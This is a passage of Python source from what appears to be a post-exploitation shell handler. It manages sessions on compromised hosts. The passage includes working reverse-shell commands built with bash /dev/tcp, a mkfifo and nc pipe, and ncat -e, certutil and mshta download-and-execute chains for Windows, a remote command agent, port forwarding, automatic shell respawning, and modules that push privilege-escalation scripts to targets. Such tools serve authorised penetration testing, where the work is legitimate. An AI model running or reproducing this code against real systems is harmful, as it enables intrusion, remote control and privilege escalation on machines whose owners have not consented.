logger.info(f"{paint('Download OK').GREEN_white} {paint(shlex.quote(pathlink(item))).yellow}") 3355 | 3356 | return downloaded 3357 | 3358 | def upload(self, local_items, remote_path=None, randomize_fname=False): 3359 | 3360 | # Check remote permissions 3361 | destination = remote_path or self.cwd 3362 | try: 3363 | if self.OS == 'Unix': 3364 | if self.agent: 3365 | if not eval(self.exec( 3366 | f"stdout_stream << str(os.access('{destination}', os.W_OK)).encode()", 3367 | python=True, 3368 | value=True 3369 | )): 3370 | logger.error(f"{destination}: Permission denied") 3371 | return [] 3372 | else: 3373 | if int(self.exec(f"[ -w \"{destination}\" ];echo $?", value=True)): 3374 | logger.error(f"{destination}: Permission denied") 3375 | return [] 3376 | elif self.OS == 'Windows': 3377 | pass # TODO 3378 | except Exception as e: 3379 | logger.error(e) 3380 | 3381 | # Initialization 3382 | try: 3383 | local_items = [item if re.match(r'(http|ftp)s?://', item, re.IGNORECASE)\ 3384 | else normalize_path(item) for item in shlex.split(local_items)] 3385 | 3386 | except ValueError as e: 3387 | logger.error(e) 3388 | return [] 3389 | 3390 | # Check for necessary binaries 3391 | if self.OS == 'Unix' and not self.agent: 3392 | dependencies = ['echo', 'base64', 'tar', 'rm'] 3393 | for binary in dependencies: 3394 | if not self.bin[binary]: 3395 | logger.error(f"'{binary}' binary is not available at the target. Cannot upload...") 3396 | return [] 3397 | 3398 | # Resolve items 3399 | resolved_items = [] 3400 | for item in local_items: 3401 | # Download URL 3402 | if re.match(r'(http|ftp)s?://', item, re.IGNORECASE): 3403 | try: 3404 | filename, item = url_to_bytes(item) 3405 | if not item: 3406 | continue 3407 | resolved_items.append((filename, item)) 3408 | except Exception as e: 3409 | logger.error(e) 3410 | else: 3411 | if os.path.isabs(item): 3412 | items = list(Path('/').glob(item.lstrip('/'))) 3413 | else: 3414 | items = list(Path().glob(item)) 3415 | if items: 3416 | resolved_items.extend(items) 3417 | else: 3418 | logger.error(f"No such file or directory: {item}") 3419 | 3420 | if not resolved_items: 3421 | return [] 3422 | 3423 | if self.OS == 'Unix': 3424 | # Get remote available space 3425 | if self.agent: 3426 | response = self.exec(f""" 3427 | stats = os.statvfs('{destination}') 3428 | stdout_stream << (str(stats.f_bavail) + ';' + str(stats.f_frsize)).encode() 3429 | """, python=True, value=True) 3430 | 3431 | remote_available_blocks, remote_block_size = map(int, response.split(';')) 3432 | remote_space = remote_available_blocks * remote_block_size 3433 | else: 3434 | remote_block_size = int(self.exec(rf'stat -c "%o" {destination} 2>/dev/null || stat -f "%k" {destination}', value=True)) 3435 | remote_space = int(self.exec(f"df -k {destination}|tail -1|awk '{{print $4}}'", value=True)) * 1024 3436 | 3437 | # Calculate local size 3438 | local_size = 0 3439 | for item in resolved_items: 3440 | if isinstance(item, tuple): 3441 | local_size += ceil(len(item[1]) / remote_block_size) * remote_block_size 3442 | else: 3443 | local_size += get_glob_size(str(item), remote_block_size) 3444 | 3445 | # Check required space 3446 | need = local_size - remote_space 3447 | if need > 0: 3448 | logger.error( 3449 | f"--- Not enough space on target... {paint('We need ').blue}" 3450 | f"{paint().yellow}{need:,}{paint().blue} more bytes..." 3451 | ) 3452 | return [] 3453 | 3454 | # Start Uploading 3455 | if self.agent: 3456 | stdin_stream = self.new_streamID 3457 | stdout_stream = self.new_streamID 3458 | stderr_stream = self.new_streamID 3459 | 3460 | if not all([stdin_stream, stderr_stream]): 3461 | return 3462 | 3463 | code = rf""" 3464 | import tarfile 3465 | if hasattr(tarfile, 'DEFAULT_FORMAT'): 3466 | tarfile.DEFAULT_FORMAT = tarfile.PAX_FORMAT 3467 | else: 3468 | tarfile.TarFile.posix = True 3469 | tar = tarfile.open(name='', mode='r|gz', fileobj=stdin_stream) 3470 | tar.errorlevel = 1 3471 | for item in tar: 3472 | try: 3473 | tar.extract(item, path='{destination}') 3474 | except: 3475 | stderr_stream << (str(sys.exc_info()[1]) + '\n').encode() 3476 | tar.close() 3477 | """ 3478 | threading.Thread(target=self.exec, args=(code, ), kwargs={ 3479 | 'python': True, 3480 | 'stdin_stream': stdin_stream, 3481 | 'stdout_stream': stdout_stream, 3482 | 'stderr_stream': stderr_stream 3483 | }).start() 3484 | 3485 | tar_destination, mode = stdin_stream, "r|gz" 3486 | else: 3487 | tar_buffer = io.BytesIO() 3488 | tar_destination, mode = tar_buffer, "r:gz" 3489 | 3490 | tar = tarfile.open(mode='w|gz', fileobj=tar_destination) 3491 | 3492 | def handle_exceptions(func): 3493 | def inner(*args, **kwargs): 3494 | try: 3495 | func(*args, **kwargs) 3496 | except Exception as e: 3497 | logger.error(str(paint("").yellow) + " " + str(paint(e).red)) 3498 | return inner 3499 | tar.add = handle_exceptions(tar.add) 3500 | 3501 | altnames = [] 3502 | for item in resolved_items: 3503 | if isinstance(item, tuple): 3504 | filename, data = item 3505 | 3506 | if randomize_fname: 3507 | filename = Path(filename) 3508 | altname = f"{filename.stem}-{rand(8)}{filename.suffix}" 3509 | else: 3510 | altname = filename 3511 | 3512 | file = tarfile.TarInfo(name=altname) 3513 | file.size = len(data) 3514 | file.mode = 0o770 3515 | file.mtime = int(time.time()) 3516 | 3517 | tar.addfile(file, io.BytesIO(data)) 3518 | else: 3519 | altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name 3520 | tar.add(item, arcname=altname) 3521 | altnames.append(altname) 3522 | tar.close() 3523 | 3524 | if self.agent: 3525 | stdin_stream.write(b"") 3526 | error_buffer = '' 3527 | while True: 3528 | r, _, _ = select([stderr_stream], [], []) 3529 | data = stderr_stream.read(options.network_buffer_size) 3530 | if data: 3531 | error_buffer += data.decode() 3532 | while '\n' in error_buffer: 3533 | line, error_buffer = error_buffer.split('\n', 1) 3534 | logger.error(str(paint("").cyan) + " " + str(paint(line).red)) 3535 | else: 3536 | break 3537 | os.close(stdin_stream._read) 3538 | os.close(stdin_stream._write) 3539 | os.close(stdout_stream._read) 3540 | del self.streams[stdin_stream.id] 3541 | del self.streams[stdout_stream.id] 3542 | del self.streams[stderr_stream.id] 3543 | 3544 | else: # TODO 3545 | tar_buffer.seek(0) 3546 | data = base64.b64encode(tar_buffer.read()).decode() 3547 | temp = self.tmp + "/" + rand(8) 3548 | 3549 | for chunk in chunks(data, options.upload_chunk_size): 3550 | response = self.exec(f"printf {chunk} >> {temp}") 3551 | if response is False: 3552 | #progress_bar.terminate() 3553 | logger.error("Upload interrupted") 3554 | return [] # TODO 3555 | #progress_bar.update(len(chunk)) 3556 | 3557 | #logger.info(paint("--- Remote unpacking...").blue) 3558 | dest = f"-C {remote_path}" if remote_path else "" 3559 | cmd = f"base64 -d < {temp} | tar xz {dest} 2>&1; temp=$?" 3560 | response = self.exec(cmd, value=True) 3561 | exit_code = int(self.exec("echo $temp", value=True)) 3562 | self.exec(f"rm {temp}") 3563 | if exit_code: 3564 | logger.error(response) 3565 | return [] # TODO 3566 | 3567 | elif self.OS == 'Windows': 3568 | tempfile_zip = f'/dev/shm/{rand(16)}.zip' 3569 | tempfile_bat = f'/dev/shm/{rand(16)}.bat' 3570 | with zipfile.ZipFile(tempfile_zip, 'w') as myzip: 3571 | altnames = [] 3572 | for item in resolved_items: 3573 | if isinstance(item, tuple): 3574 | filename, data = item 3575 | if randomize_fname: 3576 | filename = Path(filename) 3577 | altname = f"{filename.stem}-{rand(8)}{filename.suffix}" 3578 | else: 3579 | altname = filename 3580 | zip_info = zipfile.ZipInfo(filename=str(altname)) 3581 | zip_info.date_time = time.localtime(time.time())[:6] 3582 | myzip.writestr(zip_info, data) 3583 | else: 3584 | altname = f"{item.stem}-{rand(8)}{item.suffix}" if randomize_fname else item.name 3585 | myzip.write(item, arcname=altname) 3586 | altnames.append(altname) 3587 | 3588 | server = FileServer(host=self._host, url_prefix=rand(8), quiet=True) 3589 | urlpath_zip = server.add(tempfile_zip) 3590 | 3591 | cwd_escaped = self.cwd.replace('\\', '\\\\') 3592 | tmp_escaped = self.tmp.replace('\\', '\\\\') 3593 | temp_remote_file_zip = urlpath_zip.split("/")[-1] 3594 | 3595 | fetch_cmd = f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_zip}" "%TEMP%\\{temp_remote_file_zip}" && echo DOWNLOAD OK' 3596 | unzip_cmd = f'mshta "javascript:var sh=new ActiveXObject(\'shell.application\'); var fso = new ActiveXObject(\'Scripting.FileSystemObject\'); sh.Namespace(\'{cwd_escaped}\').CopyHere(sh.Namespace(\'{tmp_escaped}\\\\{temp_remote_file_zip}\').Items(), 16); while(sh.Busy) {{WScript.Sleep(100);}} fso.DeleteFile(\'{tmp_escaped}\\\\{temp_remote_file_zip}\');close()" && echo UNZIP OK' 3597 | 3598 | with open(tempfile_bat, "w") as f: 3599 | f.write(fetch_cmd + "\n") 3600 | f.write(unzip_cmd) 3601 | 3602 | urlpath_bat = server.add(tempfile_bat) 3603 | temp_remote_file_bat = urlpath_bat.split("/")[-1] 3604 | server.start() 3605 | response = self.exec( 3606 | f'certutil -urlcache -split -f "http://{self._host}:{server.port}{urlpath_bat}" "%TEMP%\\{temp_remote_file_bat}"&"%TEMP%\\{temp_remote_file_bat}"&del "%TEMP%\\{temp_remote_file_bat}"', 3607 | force_cmd=True, value=True, timeout=None) 3608 | server.stop() 3609 | if not response: 3610 | logger.error("Upload initialization failed...") 3611 | return [] 3612 | if not "DOWNLOAD OK" in response: 3613 | logger.error("Data transfer failed...") 3614 | return [] 3615 | if not "UNZIP OK" in response: 3616 | logger.error("Data unpacking failed...") 3617 | return [] 3618 | 3619 | # Present uploads 3620 | altnames = list(map(lambda x: destination + ('/' if self.OS == 'Unix' else '\\') + x, altnames)) 3621 | for item in altnames: 3622 | uploaded_path = shlex.quote(str(item)) if self.OS == 'Unix' else f'"{item}"' 3623 | logger.info(f"{paint('Upload OK').GREEN_white} {paint(uploaded_path).yellow}") 3624 | print() 3625 | 3626 | return altnames 3627 | 3628 | @agent_only 3629 | def script(self, local_script): 3630 | 3631 | local_script_folder = self.directory / "scripts" 3632 | prefix = datetime.now().strftime("%Y_%m_%d-%H_%M_%S-") 3633 | 3634 | try: 3635 | local_script_folder.mkdir(parents=True, exist_ok=True) 3636 | except Exception as e: 3637 | logger.error(e) 3638 | return False 3639 | 3640 | if re.match(r'(http|ftp)s?://', local_script, re.IGNORECASE): 3641 | try: 3642 | filename, data = url_to_bytes(local_script) 3643 | if not data: 3644 | return False 3645 | except Exception as e: 3646 | logger.error(e) 3647 | 3648 | local_script = local_script_folder / (prefix + filename) 3649 | with open(local_script, "wb") as input_file: 3650 | input_file.write(data) 3651 | else: 3652 | local_script = Path(normalize_path(local_script)) 3653 | 3654 | output_file_name = local_script_folder / (prefix + "output.txt") 3655 | 3656 | try: 3657 | input_file = open(local_script, "rb") 3658 | output_file = open(output_file_name, "wb") 3659 | first_line = input_file.readline().strip() 3660 | #input_file.seek(0) # Maybe it is not needed 3661 | if first_line.startswith(b'#!'): 3662 | program = first_line[2:].decode() 3663 | else: 3664 | logger.error("No shebang found") 3665 | return False 3666 | 3667 | tail_cmd = f'tail -n+0 -f {output_file_name}' 3668 | print(tail_cmd) 3669 | Open(tail_cmd, terminal=True) 3670 | 3671 | thread = threading.Thread(target=self.exec, args=(program, ), kwargs={ 3672 | 'stdin_src': input_file, 3673 | 'stdout_dst': output_file, 3674 | 'stderr_dst': output_file 3675 | }) 3676 | thread.start() 3677 | 3678 | except Exception as e: 3679 | logger.error(e) 3680 | return False 3681 | 3682 | return output_file_name 3683 | 3684 | def spawn(self, port=None, host=None): 3685 | 3686 | if self.OS == "Unix": 3687 | if any([self.listener, port, host]): 3688 | 3689 | port = port or self._port 3690 | host = host or self._host 3691 | 3692 | if not next((listener for listener in core.listeners.values() if listener.port == port), None): 3693 | new_listener = TCPListener(host, port) 3694 | 3695 | if self.bin['bash']: 3696 | cmd = f'printf "{self.bin["setsid"]} {self.bin["bash"]} >& /dev/tcp/{host}/{port} 0>&1 &"|{self.bin["bash"]}' 3697 | elif self.bin['nc']: 3698 | cmd = f'sh -c \'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | {self.bin["sh"]} 2>&1 | nc {host} {port} > /tmp/f &\'' 3699 | elif self.bin['sh']: 3700 | ncat_cmd = f'{self.bin["sh"]} -c "{self.bin["setsid"]} {{}} -e {self.bin["sh"]} {host} {port} &"' 3701 | ncat_binary = self.tmp + '/ncat' 3702 | if not self.exec(f"test -f {ncat_binary} || echo x"): 3703 | cmd = ncat_cmd.format(ncat_binary) 3704 | else: 3705 | logger.warning("ncat is not available on the target") 3706 | ncat_binary = self.need_binary( 3707 | "ncat", 3708 | URLS['ncat'] 3709 | ) 3710 | if ncat_binary: 3711 | cmd = ncat_cmd.format(ncat_binary) 3712 | else: 3713 | logger.error("Spawning shell aborted") 3714 | return False 3715 | else: 3716 | logger.error("No available shell binary is present...") 3717 | return False 3718 | 3719 | logger.info(f"Attempting to spawn a reverse shell on {host}:{port}") 3720 | self.exec(cmd) 3721 | 3722 | # TODO maybe destroy the new_listener upon getting a shell? 3723 | # if new_listener: 3724 | # new_listener.stop() 3725 | else: 3726 | host, port = self.socket.getpeername() 3727 | logger.info(f"Attempting to spawn a bind shell from {host}:{port}") 3728 | if not Connect(host, port): 3729 | logger.info("Spawn bind shell failed. I will try getting a reverse shell...") 3730 | return self.spawn(port, self._host) 3731 | 3732 | elif self.OS == 'Windows': 3733 | logger.warning("Spawn Windows shells is not implemented yet") 3734 | 3735 | return True 3736 | 3737 | @agent_only 3738 | def portfwd(self, _type, lhost, lport, rhost, rport): 3739 | 3740 | session = self 3741 | control = ControlQueue() 3742 | stop = threading.Event() 3743 | task = [(_type, lhost, lport, rhost, rport), control, stop] 3744 | 3745 | class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler): 3746 | def handle(self): 3747 | 3748 | self.request.setblocking(False) 3749 | stdin_stream = session.new_streamID 3750 | stdout_stream = session.new_streamID 3751 | stderr_stream = session.new_streamID 3752 | 3753 | if not all([stdin_stream, stdout_stream, stderr_stream]): 3754 | return 3755 | 3756 | code = rf""" 3757 | import socket 3758 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3759 | frlist = [stdin_stream] 3760 | connected = False 3761 | while True: 3762 | readables, _, _ = select(frlist, [], []) 3763 | 3764 | for readable in readables: 3765 | if readable is stdin_stream: 3766 | data = stdin_stream.read({options.network_buffer_size}) 3767 | if not connected: 3768 | client.connect(("{rhost}", {rport})) 3769 | client.setblocking(False) 3770 | frlist.append(client) 3771 | connected = True 3772 | try: 3773 | client.sendall(data) 3774 | except OSError: 3775 | break 3776 | if not data: 3777 | frlist.remove(stdin_stream) 3778 | break 3779 | if readable is client: 3780 | try: 3781 | data = client.recv({options.network_buffer_size}) 3782 | stdout_stream.write(data) 3783 | if not data: 3784 | frlist.remove(client) # TEMP 3785 | break 3786 | except OSError: 3787 | frlist.remove(client) # TEMP 3788 | break 3789 | else: 3790 | continue 3791 | break 3792 | #client.shutdown(socket.SHUT_RDWR) 3793 | client.close() 3794 | """ 3795 | session.exec( 3796 | code, 3797 | python=True, 3798 | stdin_stream=stdin_stream, 3799 | stdout_stream=stdout_stream, 3800 | stderr_stream=stderr_stream, 3801 | stdin_src=self.request, 3802 | stdout_dst=self.request, 3803 | agent_control=control 3804 | ) 3805 | os.close(stderr_stream._read) #TEMP 3806 | 3807 | class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 3808 | allow_reuse_address = True 3809 | request_queue_size = 100 3810 | 3811 | @handle_bind_errors 3812 | def server_bind(self, lhost, lport): 3813 | self.server_address = (lhost, int(lport)) 3814 | super().server_bind() 3815 | 3816 | def server_thread(): 3817 | with ThreadedTCPServer(None, ThreadedTCPRequestHandler, bind_and_activate=False) as server: 3818 | if not server.server_bind(lhost, lport): 3819 | return False 3820 | server.server_activate() 3821 | task.append(server) 3822 | logger.info(f"Setup Port Forwarding: {lhost}:{lport} {'->' if _type=='L' else '<-'} {rhost}:{rport}") 3823 | session.tasks['portfwd'].append(task) 3824 | server.serve_forever() 3825 | stop.set() 3826 | 3827 | portfwd_thread = threading.Thread(target=server_thread) 3828 | task.append(portfwd_thread) 3829 | portfwd_thread.start() 3830 | 3831 | def maintain(self): 3832 | with core.lock: 3833 | current_num = len(core.hosts[self.name]) 3834 | if 0 < current_num < options.maintain: 3835 | session = core.hosts[self.name][-1] 3836 | logger.warning(paint( 3837 | f" --- Session {session.id} is trying to maintain {options.maintain} " 3838 | f"active shells on {self.name} ---" 3839 | ).blue) 3840 | session.spawn() 3841 | return True 3842 | return False 3843 | 3844 | def kill(self): 3845 | 3846 | if self not in core.rlist: 3847 | return True 3848 | 3849 | thread_name = threading.current_thread().name 3850 | logger.debug(f"Thread <{thread_name}> wants to kill session {self.id}") 3851 | 3852 | if thread_name != 'Core': 3853 | if self.need_control_sessions and\ 3854 | not self.spare_control_sessions and\ 3855 | self.control_session is self: 3856 | sessions = ', '.join([str(session.id) for session in self.need_control_sessions]) 3857 | if thread_name == 'Menu': 3858 | logger.warning( 3859 | f"Cannot kill Session {self.id} as the following sessions depend on it: {sessions}" 3860 | ) 3861 | return False 3862 | else: 3863 | logger.error(f"Sessions {sessions} need a control session.") 3864 | 3865 | for module in modules().values(): 3866 | if module.enabled and module.on_session_end: 3867 | module.run(self) 3868 | 3869 | core.control << f'self.sessions[{self.id}].kill()' 3870 | 3871 | if menu.sid == self.id: 3872 | menu.set_id(None) 3873 | 3874 | self.maintain() 3875 | return 3876 | 3877 | if self.subchannel.active: 3878 | self.subchannel.control << 'kill' 3879 | 3880 | core.rlist.remove(self) 3881 | 3882 | if self in core.wlist: 3883 | core.wlist.remove(self) 3884 | try: 3885 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0)) # RST 3886 | #self.socket.shutdown(socket.SHUT_RDWR) # FIN 3887 | except OSError: 3888 | pass 3889 | 3890 | self.socket.close() 3891 | 3892 | if not self.OS: 3893 | message = f"Invalid shell from {self.name_colored} 🙄" 3894 | else: 3895 | del core.sessions[self.id] 3896 | core.hosts[self.name].remove(self) 3897 | message = f"Session [{self.id}] died..." 3898 | 3899 | if not core.hosts[self.name]: 3900 | message += f" We lost {self.name_colored} 💔" 3901 | del core.hosts[self.name] 3902 | 3903 | logger.error(message) 3904 | 3905 | if hasattr(self, 'logfile'): 3906 | self.logfile.close() 3907 | 3908 | if self.is_attached: 3909 | self.detach() 3910 | 3911 | for portfwd in self.tasks['portfwd']: 3912 | info, control, stop, thread, server = portfwd 3913 | logger.warning(f"Stopping Port Forwarding: {info[1]}:{info[2]} {'->' if info[0]=='L' else '<-'} {info[3]}:{info[4]}") 3914 | server.shutdown() 3915 | server.server_close() 3916 | while not stop.is_set(): # TEMP 3917 | control << "stop" 3918 | thread.join() 3919 | 3920 | return True 3921 | 3922 | 3923 | class Messenger: 3924 | SHELL = 1 3925 | RESIZE = 2 3926 | EXEC = 3 3927 | STREAM = 4 3928 | 3929 | STREAM_CODE = '!H' 3930 | STREAM_BYTES = struct.calcsize(STREAM_CODE) 3931 | 3932 | LEN_CODE = 'H' 3933 | _LEN_CODE = '!' + 'H' 3934 | LEN_BYTES = struct.calcsize(LEN_CODE) 3935 | 3936 | TYPE_CODE = 'B' 3937 | _TYPE_CODE = '!' + 'B' 3938 | TYPE_BYTES = struct.calcsize(TYPE_CODE) 3939 | 3940 | HEADER_CODE = '!' + LEN_CODE + TYPE_CODE 3941 | 3942 | def __init__(self, bufferclass): 3943 | self.len = None 3944 | self.input_buffer = bufferclass() 3945 | self.length_buffer = bufferclass() 3946 | self.message_buffer = bufferclass() 3947 | 3948 | def message(_type, _data): 3949 | return struct.pack(Messenger.HEADER_CODE, len(_data) + Messenger.TYPE_BYTES, _type) + _data 3950 | message = staticmethod(message) 3951 | 3952 | def feed(self, data): 3953 | self.input_buffer.write(data) 3954 | self.input_buffer.seek(0) 3955 | 3956 | while True: 3957 | if not self.len: 3958 | len_need = Messenger.LEN_BYTES - self.length_buffer.tell() 3959 | data = self.input_buffer.read(len_need) 3960 | self.length_buffer.write(data) 3961 | if len(data) != len_need: 3962 | break 3963 | 3964 | self.len = struct.unpack(Messenger._LEN_CODE, self.length_buffer.getvalue())[0] 3965 | self.length_buffer.seek(0) 3966 | self.length_buffer.truncate() 3967 | else: 3968 | data_need = self.len - self.message_buffer.tell() 3969 | data = self.input_buffer.read(data_need) 3970 | self.message_buffer.write(data) 3971 | if len(data) != data_need: 3972 | break 3973 | 3974 | self.message_buffer.seek(0) 3975 | _type = struct.unpack(Messenger._TYPE_CODE, self.message_buffer.read(Messenger.TYPE_BYTES))[0] 3976 | _message = self.message_buffer.read() 3977 | 3978 | self.len = None 3979 | self.message_buffer.seek(0) 3980 | self.message_buffer.truncate() 3981 | yield _type, _message 3982 | 3983 | self.input_buffer.seek(0) 3984 | self.input_buffer.truncate() 3985 | 3986 | class Stream: 3987 | def __init__(self, _id, _session=None): 3988 | self.id = _id 3989 | self._read, self._write = os.pipe() 3990 | self.writebuf = None 3991 | self.feed_thread = None 3992 | self.session = _session 3993 | 3994 | if self.session is None: 3995 | self.writefunc = lambda data: respond(self.id + data) 3996 | cloexec(self._write) 3997 | cloexec(self._read) 3998 | else: 3999 | self.writefunc = lambda data: self.session.send(Messenger.message(Messenger.STREAM, self.id + data)) 4000 | 4001 | def __lshift__(self, data): 4002 | if not self.writebuf: 4003 | self.writebuf = queue.Queue() 4004 | self.writebuf.put(data) 4005 | if not self.feed_thread: 4006 | self.feed_thread = threading.Thread(target=self.feed, name="feed stream -> " + repr(self.id)) 4007 | self.feed_thread.start() 4008 | 4009 | def feed(self): 4010 | while True: 4011 | data = self.writebuf.get() 4012 | if not data: 4013 | try: 4014 | os.close(self._write) 4015 | except: 4016 | pass 4017 | break 4018 | try: 4019 | os.write(self._write, data) 4020 | except: 4021 | break 4022 | 4023 | def fileno(self): 4024 | return self._read 4025 | 4026 | def write(self, data): 4027 | self.writefunc(data) 4028 | 4029 | def read(self, n): 4030 | try: 4031 | data = os.read(self._read, n) 4032 | except: 4033 | return "".encode() 4034 | if not data: 4035 | try: 4036 | os.close(self._read) 4037 | except: 4038 | pass 4039 | return data 4040 | 4041 | def agent(): 4042 | import os 4043 | import sys 4044 | import pty 4045 | import shlex 4046 | import fcntl 4047 | import struct 4048 | import signal 4049 | import termios 4050 | import threading 4051 | from select import select 4052 | signal.signal(signal.SIGINT, signal.SIG_DFL) 4053 | signal.signal(signal.SIGQUIT, signal.SIG_DFL) 4054 | 4055 | if sys.version_info[0] == 2: 4056 | import Queue as queue 4057 | else: 4058 | import queue 4059 | try: 4060 | import io 4061 | bufferclass = io.BytesIO 4062 | except: 4063 | import StringIO 4064 | bufferclass = StringIO.StringIO 4065 | 4066 | SHELL = "{}" 4067 | NET_BUF_SIZE = {} 4068 | {} 4069 | {} 4070 | 4071 | def respond(_value, _type=Messenger.STREAM): 4072 | wlock.acquire() 4073 | outbuf.seek(0, 2) 4074 | outbuf.write(Messenger.message(_type, _value)) 4075 | if not pty.STDOUT_FILENO in wlist: 4076 | wlist.append(pty.STDOUT_FILENO) 4077 | os.write(control_in, "1".encode()) 4078 | wlock.release() 4079 | 4080 | def cloexec(fd): 4081 | try: 4082 | flags = fcntl.fcntl(fd, fcntl.F_GETFD) 4083 | fcntl.fcntl(fd, fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC) 4084 | except: 4085 | pass 4086 | 4087 | shell_pid, master_fd = pty.fork() 4088 | if shell_pid == pty.CHILD: 4089 | os.execl(SHELL, SHELL, '-i') 4090 | try: 4091 | pty.setraw(pty.STDIN_FILENO) 4092 | except: 4093 | pass 4094 | 4095 | try: 4096 | streams = dict() 4097 | messenger = Messenger(bufferclass) 4098 | outbuf = bufferclass() 4099 | ttybuf = bufferclass() 4100 | 4101 | wlock = threading.Lock() 4102 | control_out, control_in = os.pipe() 4103 | cloexec(control_out) 4104 | cloexec(control_in) 4105 | 4106 | rlist = [control_out, master_fd, pty.STDIN_FILENO] 4107 | wlist = [] 4108 | for fd in (master_fd, pty.STDIN_FILENO, pty.STDOUT_FILENO, pty.STDERR_FILENO): # TODO 4109 | flags = fcntl.fcntl(fd, fcntl.F_GETFL) 4110 | fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK) 4111 | cloexec(fd) 4112 | 4113 | while True: 4114 | rfds, wfds, _ = select(rlist, wlist, []) 4115 | 4116 | for readable in rfds: 4117 | if readable is control_out: 4118 | os.read(control_out, 1) 4119 | 4120 | elif readable is master_fd: 4121 | try: 4122 | data = os.read(master_fd, NET_BUF_SIZE) 4123 | except: 4124 | data = ''.encode() 4125 | respond(data, Messenger.SHELL) 4126 | if not data: 4127 | rlist.remove(master_fd) 4128 | try: 4129 | os.close(master_fd) 4130 | except: 4131 | pass 4132 | 4133 | elif readable is pty.STDIN_FILENO: 4134 | try: 4135 | data = os.read(pty.STDIN_FILENO, NET_BUF_SIZE) 4136 | except: 4137 | data = None 4138 | if not data: 4139 | rlist.remove(pty.STDIN_FILENO) 4140 | break 4141 | 4142 | messages = messenger.feed(data) 4143 | for _type, _value in messages: 4144 | if _type == Messenger.SHELL: 4145 | ttybuf.seek(0, 2) 4146 | ttybuf.write(_value) 4147 | if not master_fd in wlist: 4148 | wlist.append(master_fd) 4149 | 4150 | elif _type == Messenger.RESIZE: 4151 | fcntl.ioctl(master_fd, termios.TIOCSWINSZ, _value) 4152 | 4153 | elif _type == Messenger.EXEC: 4154 | sb = str(Messenger.STREAM_BYTES) 4155 | header_size = 1 + int(sb) * 3 4156 | __type, stdin_stream_id, stdout_stream_id, stderr_stream_id = struct.unpack( 4157 | '!c' + (sb + 's') * 3, 4158 | _value[:header_size] 4159 | ) 4160 | cmd = _value[header_size:] 4161 | 4162 | if not stdin_stream_id in streams: 4163 | streams[stdin_stream_id] = Stream(stdin_stream_id) 4164 | if not stdout_stream_id in streams: 4165 | streams[stdout_stream_id] = Stream(stdout_stream_id) 4166 | if not stderr_stream_id in streams: 4167 | streams[stderr_stream_id] = Stream(stderr_stream_id) 4168 | 4169 | stdin_stream = streams[stdin_stream_id] 4170 | stdout_stream = streams[stdout_stream_id] 4171 | stderr_stream = streams[stderr_stream_id] 4172 | 4173 | rlist.append(stdout_stream) 4174 | rlist.append(stderr_stream) 4175 | 4176 | if __type == 'S'.encode(): 4177 | pid = os.fork() 4178 | if pid == 0: 4179 | os.dup2(stdin_stream._read, 0) 4180 | os.dup2(stdout_stream._write, 1) 4181 | os.dup2(stderr_stream._write, 2) 4182 | os.execl("{}", "sh", "-c", cmd) 4183 | os._exit(1) 4184 | os.close(stdin_stream._read) 4185 | os.close(stdout_stream._write) 4186 | os.close(stderr_stream._write) 4187 | 4188 | elif __type == 'P'.encode(): 4189 | def run(stdin_stream, stdout_stream, stderr_stream): 4190 | try: 4191 | {} 4192 | except: 4193 | stderr_stream << (str(sys.exc_info()[1]) + "\n").encode() 4194 | try: 4195 | os.close(stdin_stream._read) 4196 | except: 4197 | pass 4198 | 4199 | del streams[stdin_stream_id] 4200 | stdout_stream << "".encode() 4201 | stderr_stream << "".encode() 4202 | threading.Thread(target=run, args=(stdin_stream, stdout_stream, stderr_stream)).start() 4203 | 4204 | # Incoming streams 4205 | elif _type == Messenger.STREAM: 4206 | stream_id, data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:] 4207 | if not stream_id in streams: 4208 | streams[stream_id] = Stream(stream_id) 4209 | streams[stream_id] << data 4210 | 4211 | # Outgoing streams 4212 | else: 4213 | data = readable.read(NET_BUF_SIZE) 4214 | readable.write(data) 4215 | if not data: 4216 | rlist.remove(readable) 4217 | del streams[readable.id] 4218 | 4219 | else: 4220 | for writable in wfds: 4221 | 4222 | if writable is pty.STDOUT_FILENO: 4223 | sendbuf = outbuf 4224 | wlock.acquire() 4225 | 4226 | elif writable is master_fd: 4227 | sendbuf = ttybuf 4228 | 4229 | try: 4230 | sent = os.write(writable, sendbuf.getvalue()) 4231 | except OSError: 4232 | wlist.remove(writable) 4233 | if sendbuf is outbuf: 4234 | wlock.release() 4235 | continue 4236 | 4237 | sendbuf.seek(sent) 4238 | remaining = sendbuf.read() 4239 | sendbuf.seek(0) 4240 | sendbuf.truncate() 4241 | sendbuf.write(remaining) 4242 | if not remaining: 4243 | wlist.remove(writable) 4244 | if sendbuf is outbuf: 4245 | wlock.release() 4246 | continue 4247 | break 4248 | except: 4249 | _, e, t = sys.exc_info() 4250 | import traceback 4251 | traceback.print_exc() 4252 | traceback.print_stack() 4253 | try: 4254 | os.close(master_fd) 4255 | except: 4256 | pass 4257 | os.waitpid(shell_pid, 0)[1] 4258 | os.kill(os.getppid(), signal.SIGKILL) # TODO 4259 | 4260 | 4261 | def modules(): 4262 | return {module.__name__:module for module in Module.__subclasses__()} 4263 | 4264 | 4265 | class Module: 4266 | enabled = True 4267 | on_session_start = False 4268 | on_session_end = False 4269 | category = "Misc" 4270 | 4271 | 4272 | class upload_privesc_scripts(Module): 4273 | category = "Privilege Escalation" 4274 | def run(session, args): 4275 | """ 4276 | Upload a set of privilege escalation scripts to the target 4277 | """ 4278 | if session.OS == 'Unix': 4279 | session.upload(URLS['linpeas']) 4280 | session.upload(URLS['lse']) 4281 | session.upload(URLS['deepce']) 4282 | 4283 | elif session.OS == 'Windows': 4284 | session.upload(URLS['winpeas']) 4285 | session.upload(URLS['powerup']) 4286 | session.upload(URLS['privesccheck']) 4287 | 4288 | 4289 | class peass_ng(Module): 4290 | category = "Privilege Escalation" 4291 | def run(session, args): 4292 | """ 4293 | Run the latest version of PEASS-ng in the background 4294 | """ 4295 | if session.OS == 'Unix': 4296 | parser = ArgumentParser(prog='peass_ng', description="peass-ng module", add_help=False) 4297 | 